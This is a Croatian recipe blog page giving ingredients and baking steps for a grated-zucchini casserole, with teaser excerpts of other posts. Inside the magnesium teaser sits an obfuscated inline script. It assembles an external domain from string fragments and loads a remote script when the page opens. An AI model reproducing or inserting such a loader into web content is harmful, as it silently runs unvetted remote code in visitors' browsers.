SLOŽENAC OD NARIBANIH TIKVICA




Složenac od naribanih tikvica 



Tikvice su savršeni sastojak za brojna ljetna jela - možete ih pohati, pržiti, pirjati. Mi vam danas predlažemo da ih naribate i od njih napravite fantastičan složenac.




Složenac od naribanih tikvica 


Sastojci:

  • 1 kg tikvica
  • 160 ml punomasnog grčkog jogurta
  • 160 g panko krušnih mrvica
  • 120 g naribanog tvrdog sira poput cheddara
  • 70 g sitno naribanog parmezana
  • 30 g rastopljenog maslaca
  • 3 velika jaja
  • 2 čajne žličice Dijon senfa
  • 1 manji luk
  • 1 čajna žličica češnjaka u prahu
  • ½ čajne žličice sušenog origana
  • sol i papar po želji



Priprema:

  1. Zagrijte pećnicu na 190 Celzijevih stupnjeva. Namastite pravokutnu vatrostalnu posudu za pečenje i stavite sa strane.
  2. Naribajte tikvice na krupni ribež i pospite s nešto soli. Stavite sve zajedno u cjedilo i pustite da tako odstoji 20-ak minuta da tikvice ispuste višak vode. Potom rukama dobro ocijedite višak vlažnosti.
  3. U velikoj posudi pomiješajte jaja i grčki jogurt. Dodajte senf, naribani parmezan, 100 grama panko krušnih mrvica, sitno nasjeckani luk, češnjak u prahu, suhi origano i nešto soli i papra. U posudu dodajte i ocijeđene tikvice i sve dobro promiješajte.
  4. Smjesu prebacite u pripremljenu vatrostalnu posudu za pečenje i ravnomjerno je rasporedite. Na vrh pospite naribani cheddar sir.
  5. Ostatak panko krušnih mrvica pomiješajte s rastopljenim maslacem i dobivenu smjesu rasporedite po vrhu tikvica.
  6. Ovako pripremljeni složenac stavite peći u prethodno zagrijanu pećnicu na 190 Celzijevih stupnjeva oko 35 do 45 minuta dok rubovi ne postanu zlatno-smeđi i hrskavi. Ohladite prije posluživanja. Dobar tek!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više